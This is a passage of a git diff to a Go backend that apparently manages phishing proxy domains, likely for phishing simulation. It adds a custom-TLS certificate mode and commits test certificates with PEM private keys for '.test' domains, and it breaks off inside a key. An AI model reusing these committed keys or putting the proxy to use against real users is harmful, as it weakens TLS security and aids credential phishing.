global cert to this domain + domain.ManagedTLS.Set(false) + domain.OwnManagedTLS.Set(true) + domain.SelfSignedTLS.Set(false) + domain.OwnManagedTLSKey.Set(globalKey) + domain.OwnManagedTLSPem.Set(globalPem) + } else { + // no cert provided for a new domain — cannot configure custom TLS without a certificate + m.Logger.Errorw("cannot create domain with custom TLS without a certificate", + "proxyID", proxyID.String(), + "domain", domainConfig.To, + ) + m.rollbackCreatedDomains(ctx, session, createdDomains) + return errs.NewValidationError( + fmt.Errorf("custom TLS mode requires a certificate to be provided for domain '%s'", domainConfig.To), + ) + } } else { // default to managed domain.ManagedTLS.Set(true) @@ -2661,18 +2745,44 @@ func (m *Proxy) syncProxyDomains(ctx context.Context, session *model.Session, pr // check current TLS settings currentManagedTLS := existingDomain.ManagedTLS.MustGet() currentSelfSignedTLS := existingDomain.SelfSignedTLS.MustGet() + currentOwnManagedTLS := existingDomain.OwnManagedTLS.MustGet() // determine if TLS settings need updating if tlsMode == "self-signed" && !currentSelfSignedTLS { + // switching to self-signed — clear any existing custom cert flag so updateDomain cleans it up existingDomain.ManagedTLS.Set(false) existingDomain.OwnManagedTLS.Set(false) existingDomain.SelfSignedTLS.Set(true) needsUpdate = true } else if tlsMode == "managed" && !currentManagedTLS { + // switching to managed — clear any existing custom cert flag so updateDomain cleans it up existingDomain.ManagedTLS.Set(true) existingDomain.OwnManagedTLS.Set(false) existingDomain.SelfSignedTLS.Set(false) needsUpdate = true + } else if tlsMode == "custom" { + // check if a new global cert is being pushed + globalKey, keyErr := proxy.GlobalTLSKey.Get() + globalPem, pemErr := proxy.GlobalTLSPem.Get() + if keyErr == nil && pemErr == nil && len(globalKey) > 0 && len(globalPem) > 0 { + // apply the new global cert — always update when a cert is explicitly provided + existingDomain.ManagedTLS.Set(false) + existingDomain.OwnManagedTLS.Set(true) + existingDomain.SelfSignedTLS.Set(false) + existingDomain.OwnManagedTLSKey.Set(globalKey) + existingDomain.OwnManagedTLSPem.Set(globalPem) + needsUpdate = true + } else if !currentOwnManagedTLS { + // no new cert provided and domain doesn't already have a custom cert — cannot switch to custom + m.Logger.Warnw("cannot switch domain to custom TLS without a certificate", + "proxyID", proxyID.String(), + "domain", phishingDomain, + ) + syncErrors = append(syncErrors, fmt.Sprintf("cannot switch domain '%s' to custom TLS without providing a certificate", phishingDomain)) + errorCount++ + continue + } + // if currentOwnManagedTLS is true and no new cert provided — preserve existing cert, no update needed } if needsUpdate { @@ -2735,6 +2845,27 @@ func (m *Proxy) syncProxyDomains(ctx context.Context, session *model.Session, pr domain.ManagedTLS.Set(false) domain.OwnManagedTLS.Set(false) domain.SelfSignedTLS.Set(true) + } else if tlsMode == "custom" { + // check if a global cert is provided on the proxy model + globalKey, keyErr := proxy.GlobalTLSKey.Get() + globalPem, pemErr := proxy.GlobalTLSPem.Get() + if keyErr == nil && pemErr == nil && len(globalKey) > 0 && len(globalPem) > 0 { + // apply the global cert to this domain + domain.ManagedTLS.Set(false) + domain.OwnManagedTLS.Set(true) + domain.SelfSignedTLS.Set(false) + domain.OwnManagedTLSKey.Set(globalKey) + domain.OwnManagedTLSPem.Set(globalPem) + } else { + // no cert provided for a new domain — cannot configure custom TLS without a certificate + m.Logger.Warnw("cannot add domain with custom TLS without a certificate", + "proxyID", proxyID.String(), + "domain", phishingDomain, + ) + syncErrors = append(syncErrors, fmt.Sprintf("cannot add domain '%s' with custom TLS without providing a certificate", phishingDomain)) + errorCount++ + continue + } } else { // default to managed domain.ManagedTLS.Set(true) diff --git a/backend/testfiles/certs/cert.test/cert.key b/backend/testfiles/certs/cert.test/cert.key new file mode 100644 index 0000000..597a7af --- /dev/null +++ b/backend/testfiles/certs/cert.test/cert.key @@ -0,0 +1,28 @@ +-----BEGIN PRIVATE KEY----- +MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCixyMt5qK2ulK3 +t7dS1BkNaxbuZNexYLCmWSWUN9tdboAKIapLPcV3/jwqZwP04kaU/ObUp+1vXjK9 +2dJXASZQ5HuZO3438oCsgeKGe8FRsbuK/2gfXbWrLxDhHW7hTlwhuuC/SRe2u+n1 +Qjrz67iQQ1QdfdE3HhLzllU9SFPcIW+l1T7oILJt0NLdEbjBoecxP1tE7DDw7E87 +y0ipPDBz5Q9ZwS95vaJG013MvM7Ly5gg6+4E108JKw5Rl0NoUZVhi1bNJcrg1n2K +R7aqX+URtcA8sTMEKqXzTGUvXxvGsXESwlttb5tHjwKaRxLRBqSi0IEoad0h+Vlx +o/z+IPQdAgMBAAECggEADBEbtdCvbQ2779wB9MIKlDJe0hzBc2gTc4l2ETPg1av8 +eIPNX+PvSkY1B8ze/+pxFaT320Z4zs6aj8HHGrI+bAG8FEk5dQR+1T4qekWDUiVZ +6n0+wHbnodrzDK64/dSbkAtbLNYwy75h1hyEsHj5eh+CBU7cUXjJXXheaK5+ocaH +swmkXMigidMkfzAURhwhJ4ce6A3F9wVe8+SJlOHCx5m5usIXthg9gTYgq6EymALt +C1zRlO2xteB6qzvHu1FgDKWkHmX1PgiKr1L3gBNjJutuY8TgnbiaQ9pRMlaeE850 +ctxGL8Hg11llA6sBGdUuUEA2UlUMJEIadJjVqcEjKwKBgQDN+OyGiOimY+bjjBW6 +NLq8/f/T2T549DGsSNt+EiGj+gJlif1jZqVtgtjRta/kbwF5f6Zx3Q9I4J69iw8c +wvmS1ip4UXhrJKua+Wvk6mEeTAejazH46paOgX97TUfmsSQC2+R2iM8xKNxbpxCD +k4wNPt1rNeTCA/SBF3dKDlqrPwKBgQDKUHDM+/YIGuXa8DAe34E/Tl2Onq/R9yA4 +WNXnjKsOk/aK/fshzVIS7wcGpXzK74i9ds1z19ojUgYI4qV7XcZ9DiXewqP8tXtI +llNU8DXUOBrFX65d//1XiwU5b8bplXwiOB1Jd5hue0HPscsaic0EYS/j2ByXD+0l +8XJ3j/ZVowKBgQCwxBSZUR34znv0hOCQsXghggrwEN0giNGofc6BX6YnSASOh+JC +UHFgjo7tSvPtI6csUnTR+1mGvd795D3P/TSa49oG8ERcD1iG48/I4az/h1h20yRL +72fOXSy+8Q/n19aD7Zsgb0EBe4PB1JrDkPj81RrJS7NLHoHT2AO0NqVxmQKBgDtw +ApPWemPLMzhtVFXdqCUnKslZyaHQDsE/KCjM5Px1b/tJvtwhbDlvzAqh19XvJac0 +HgwooEe8M1Ws8J0b4dKfs3SMjo0R7FRZBcZwhAADM6pE//9R0+ZCS5iiRDgf2MZc +4g3RexEKWT1hqJ/1WCwvOVihB1VCMpPxKYYC34YtAoGAexR7JhjgjztmP65HzyCv +hff37H89MomRWUyaAlQ8Sqpj9bTMfcpsAmZ2qMGWKgUCfwQc1n3jRuSrWhotGWKZ +1n3xQ5q3IgBIOWBJHJ1Ez4HF9F0xVrrwPjYH/OoFBPQKU6QGkIr68YsQq+Yc+0BF +ReemAd9XD2vSRrBh1/WJKaI= +-----END PRIVATE KEY----- diff --git a/backend/testfiles/certs/cert.test/cert.pem b/backend/testfiles/certs/cert.test/cert.pem new file mode 100644 index 0000000..fbe8135 --- /dev/null +++ b/backend/testfiles/certs/cert.test/cert.pem @@ -0,0 +1,19 @@ +-----BEGIN CERTIFICATE----- +MIIDHzCCAgegAwIBAgIUNv0gRyo+x0RDbBFBxmP/T3CfVowwDQYJKoZIhvcNAQEL +BQAwFDESMBAGA1UEAwwJY2VydC50ZXN0MB4XDTI2MDQxOTEzMDQyOFoXDTM2MDQx +NjEzMDQyOFowFDESMBAGA1UEAwwJY2VydC50ZXN0MIIBIjANBgkqhkiG9w0BAQEF +AAOCAQ8AMIIBCgKCAQEAoscjLeaitrpSt7e3UtQZDWsW7mTXsWCwplkllDfbXW6A +CiGqSz3Fd/48KmcD9OJGlPzm1Kftb14yvdnSVwEmUOR7mTt+N/KArIHihnvBUbG7 +iv9oH121qy8Q4R1u4U5cIbrgv0kXtrvp9UI68+u4kENUHX3RNx4S85ZVPUhT3CFv +pdU+6CCybdDS3RG4waHnMT9bROww8OxPO8tIqTwwc+UPWcEveb2iRtNdzLzOy8uY +IOvuBNdPCSsOUZdDaFGVYYtWzSXK4NZ9ike2ql/lEbXAPLEzBCql80xlL18bxrFx +EsJbbW+bR48CmkcS0QakotCBKGndIflZcaP8/iD0HQIDAQABo2kwZzAdBgNVHQ4E +FgQUWtHAW8LyyJpevjePLzgRSQBTP9wwHwYDVR0jBBgwFoAUWtHAW8LyyJpevjeP +LzgRSQBTP9wwDwYDVR0TAQH/BAUwAwEB/zAUBgNVHREEDTALggljZXJ0LnRlc3Qw +DQYJKoZIhvcNAQELBQADggEBADf3QqqNrG97rxTe+QmCltKRD/4Rj9tekoXKPi/c +E1343ZwfH2WWnhZFQnZnWeck8BhXqEjvxmRP7IHOj+WyeE0l+rANR3YvmqkSrqs3 +N0JF47OfabyNUYJIO5wKochCUqHiM1yyET3RD4Mcz435SNRCdk6G9ytLt+19zrRx +7h+vvh7Bmw3mhCgcPwdBcmtAwoVlVmdwzwpVZ7GBpr9SlA7WxQo4HYEd66XJK7Pk +p58qWkDHHBPIOO4DvuuvBwU4VMl4TynDecAK6qbIDghUaSDeWDHhN8rpLsuOjYwI +6ZzoKb4FiZjYn8QhKcTSJjf082s66ovfml0JglZp6AScYq8= +-----END CERTIFICATE----- diff --git a/backend/testfiles/certs/mycert.test/mycert.test.crt b/backend/testfiles/certs/mycert.test/mycert.test.crt new file mode 100644 index 0000000..07f2768 --- /dev/null +++ b/backend/testfiles/certs/mycert.test/mycert.test.crt @@ -0,0 +1,28 @@ +-----BEGIN CERTIFICATE----- +MIIEszCCApsCFD5xluzzeuIZbCYcshr+3OfR3e0eMA0GCSqGSIb3DQEBDQUAMBYx +FDASBgNVBAMMC215Y2VydC50ZXN0MB4XDTI2MDQxNjIxMDg1MloXDTM2MDQxMzIx +MDg1MlowFjEUMBIGA1UEAwwLbXljZXJ0LnRlc3QwggIiMA0GCSqGSIb3DQEBAQUA +A4ICDwAwggIKAoICAQC0qRS0tUDPwLVNEuB6j8ADS9RQQIZb7jUULHzpi9t1z8QZ +u0mDI21s/GU1lHER+S4f13Df1Dvp7bSl/nR6Pkq9PYMR+h2ExHqHhQII4kY2cxaC +6fZdIeyxIGaYnlIRH05fqG8NbKGhhAJ34APVp8nptA+NSwwk9upiJzbUfMb8yxBQ +YaT9Q194J5LlQK5Rge9bJEDrATSTqOVBq6227yQso1nr5nEpbwHfDmU44py/OLKf +byYvjEI9PGUBJE6rjC5iS23RKHh/mBSeGLuEF8XnXqDV2EfWkozpTBri0RdTVbNP +aYIpgueYsMTGoRXJ/I0amGaju0uqGbqbObkqFeSZOyPg3zssmqQv7bMXSzJjt10X +ZcXKu62Ba064o8gKJ4wQ/lg5aJp1ysjVZViigJbnbm1KFuKpBUq5WFN0MrViVsWL +ACwETw1MjA8bLjHfcwSG/8dB3vnHLgulvWZut0g6nJaX2fPxmEPbSboh9wbdB5o4 +iCcYx1X3bc0cx6r80caCnICvLjYcf+i89TUPpXW7UqlZngjoohIfhhb6fKPWxT6v +w4dG2SUtRhoRzLP9GWbawKnlrEuctVTbAYnN6BtluqGX1DfEMp0j+wZl6o2YMyQ7 +6bQRa6LT9Ddmq1QHXgvVn81+d2pJDOefTVDAacWij6wIrpjWg/z8qx1kFJPW5wID +AQABMA0GCSqGSIb3DQEBDQUAA4ICAQCVRRmMY8zliozIA4s5O2dYXaPM6wnGErmx +QzEryE6hQT6gIkPrJExHefokrKAMZy1+waslugIYbtURDzqu9O+zJaf8WOzhYSxL ++3NLFemfBVvP68c3g6y2Hy3gSZ2ZZb4yeiG8aHB74rl5yxaUmdJ690zDBaJ7NC5G +ZS84iSWZMCjAcqViLqQ1RvxybcAduW5vPVPej4U3HIdUQ6YvOo+7x+BNW5Ost4xv +ytR1IZBRdxdmXQEOp049EENzqLPq9hvwoUgKZqj9QZT5CEO985Cvo0U9BPpsGWg6 +YcecWXues/TmacJA55rCdJ279wiQKTmaLvI1D3vpdbYBdpAwH6l4eMmb7XOppa8s +50hJpPoxtQ5aqU6Twyp0mhf2/ie70oRoS0UqrLMlR/dArw3qDZqYt7p/frsIHMgu +dhbwdFhczXTQTl+Fz+k96nFYN8r9CYZrxzOi2fZCUdN42MqAfSeeqm6EwfCOHM6G +Mhccf3ZfnSKLXkfL/jiyPtZRmNaO+zAJSjP7VKMyeqk8M4XYQnWBci1JrWcBy7mV +dD9WUb51yUKmRIggOKzNuXp9splFP9yZTUFhtz4ztU6HExTwnADQRQFB7crLaoTU +CuhJo3vxZGds7FDcw3/NYRxWsjXcKwcE3nBewVSfdJCZBkcA4KztuCuqTB23rO6E +Ew+AoWp2AQ== +-----END CERTIFICATE----- diff --git a/backend/testfiles/certs/mycert.test/mycert.test.key b/backend/testfiles/certs/mycert.test/mycert.test.key new file mode 100644 index 0000000..188d70c --- /dev/null +++ b/backend/testfiles/certs/mycert.test/mycert.test.key @@ -0,0 +1,52 @@ +-----BEGIN PRIVATE KEY----- +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 +4lF4+z9bxHS9QBHIkTOjBYGeVGkSpQ== +-----END PRIVATE KEY----- diff --git a/backend/testfiles/certs/mycert.test/yourdomain.pem b/backend/testfiles/certs/mycert.test/yourdomain.pem new file mode 100644 index 0000000..55cdf54 --- /dev/null +++ b/backend/testfiles/certs/mycert.test/yourdomain.pem @@ -0,0 +1,80 @@ +-----BEGIN CERTIFICATE----- +MIIEszCCApsCFD5xluzzeuIZbCYcshr+3OfR3e0eMA0GCSqGSIb3DQEBDQUAMBYx +FDASBgNVBAMMC215Y2VydC50ZXN0MB4XDTI2MDQxNjIxMDg1MloXDTM2MDQxMzIx +MDg1MlowFjEUMBIGA1UEAwwLbXljZXJ0LnRlc3QwggIiMA0GCSqGSIb3DQEBAQUA +A4ICDwAwggIKAoICAQC0qRS0tUDPwLVNEuB6j8ADS9RQQIZb7jUULHzpi9t1z8QZ +u0mDI21s/GU1lHER+S4f13Df1Dvp7bSl/nR6Pkq9PYMR+h2ExHqHhQII4kY2cxaC +6fZdIeyxIGaYnlIRH05fqG8NbKGhhAJ34APVp8nptA+NSwwk9upiJzbUfMb8yxBQ +YaT9Q194J5LlQK5Rge9bJEDrATSTqOVBq6227yQso1nr5nEpbwHfDmU44py/OLKf +byYvjEI9PGUBJE6rjC5iS23RKHh/mBSeGLuEF8XnXqDV2EfWkozpTBri0RdTVbNP +aYIpgueYsMTGoRXJ/I0amGaju0uqGbqbObkqFeSZOyPg3zssmqQv7bMXSzJjt10X +ZcXKu62Ba064o8gKJ4wQ/lg5aJp1ysjVZViigJbnbm1KFuKpBUq5WFN0MrViVsWL +ACwETw1MjA8bLjHfcwSG/8dB3vnHLgulvWZut0g6nJaX2fPxmEPbSboh9wbdB5o4 +iCcYx1X3bc0cx6r80caCnICvLjYcf+i89TUPpXW7UqlZngjoohIfhhb6fKPWxT6v +w4dG2SUtRhoRzLP9GWbawKnlrEuctVTbAYnN6BtluqGX1DfEMp0j+wZl6o2YMyQ7 +6bQRa6LT9Ddmq1QHXgvVn81+d2pJDOefTVDAacWij6wIrpjWg/z8qx1kFJPW5wID +AQABMA0GCSqGSIb3DQEBDQUAA4ICAQCVRRmMY8zliozIA4s5O2dYXaPM6wnGErmx +QzEryE6hQT6gIkPrJExHefokrKAMZy1+waslugIYbtURDzqu9O+zJaf8WOzhYSxL ++3NLFemfBVvP68c3g6y2Hy3gSZ2ZZb4yeiG8aHB74rl5yxaUmdJ690zDBaJ7NC5G +ZS84iSWZMCjAcqViLqQ1RvxybcAduW5vPVPej4U3HIdUQ6YvOo+7x+BNW5Ost4xv +ytR1IZBRdxdmXQEOp049EENzqLPq9hvwoUgKZqj9QZT5CEO985Cvo0U9BPpsGWg6 +YcecWXues/TmacJA55rCdJ279wiQKTmaLvI1D3vpdbYBdpAwH6l4eMmb7XOppa8s +50hJpPoxtQ5aqU6Twyp0mhf2/ie70oRoS0UqrLMlR/dArw3qDZqYt7p/frsIHMgu +dhbwdFhczXTQTl+Fz+k96nFYN8r9CYZrxzOi2fZCUdN42MqAfSeeqm6EwfCOHM6G +Mhccf3ZfnSKLXkfL/jiyPtZRmNaO+zAJSjP7VKMyeqk8M4XYQnWBci1JrWcBy7mV +dD9WUb51yUKmRIggOKzNuXp9splFP9yZTUFhtz4ztU6HExTwnADQRQFB7crLaoTU +CuhJo3vxZGds7FDcw3/NYRxWsjXcKwcE3nBewVSfdJCZBkcA4KztuCuqTB23rO6E +Ew+AoWp2AQ== +-----END CERTIFICATE----- +-----BEGIN PRIVATE KEY----- +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 +4lF4+z9bxHS9QBHIkTOjBYGeVGkSpQ== +-----END PRIVATE KEY----- diff --git a/backend/testfiles/certs/wildcard/cert.key b/backend/testfiles/certs/wildcard/cert.key new file mode 100644 index 0000000..5d575f8 --- /dev/null +++ b/backend/testfiles/certs/wildcard/cert.key @@ -0,0 +1,28 @@ +-----BEGIN PRIVATE KEY----- +MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC0kJclAABh6Ocf +QcCj9+Dh6fUSyefnfqcVG3CYa0F/TENIZLAdQXGSXfprkQnhUQPfPfSOGiJ27Vme +sQiUTfLidqRgFXEF4JQgR6oO5au6llBBKU79fkw9UJ4OR2AtE136gGx9aUF4iLzT +UU019KNMnY7ICnAnd8dL69hY6pg9rCGiZmiiWAZ4XkxNkN3L5GMHMDNbcEWMCalp +6rP75rAvlXlhOUKomEZN1zLMu3FSWuMMCIbc2Anaq5Z2NYmf61YPb48/lklo5Klz +s0dN1ktBv7QMybOIP0YZnPNa76SDZ5bi1YYaCQybs6l845vfzEseAew+23RXXkam 